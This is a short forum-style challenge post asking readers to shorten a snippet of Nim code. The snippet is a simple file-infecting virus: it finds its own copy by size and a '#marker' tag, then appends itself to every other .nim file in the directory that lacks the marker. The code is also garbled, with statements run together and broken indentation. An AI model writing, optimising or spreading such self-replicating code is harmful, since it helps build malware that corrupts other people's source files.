[Challenge]How short or efficient can you make this code?

[blmvxer]

'''nim
    #marker import os, streams, re, strutils

for file in walkFiles (getCurrentDir() & "/ _.nim "): if getFileSize(file) == 
427: if format(readFile(file)).contains("#marker"): let ourCode = 
format(readFile(file)) for host in walkFiles (getCurrentDir() & "/_.nim"):
    

if not format(readFile(host)).contains("#marker"):
    let fs = newFileStream(host, fmAppend) fs.write(ourCode) fs.close()

'''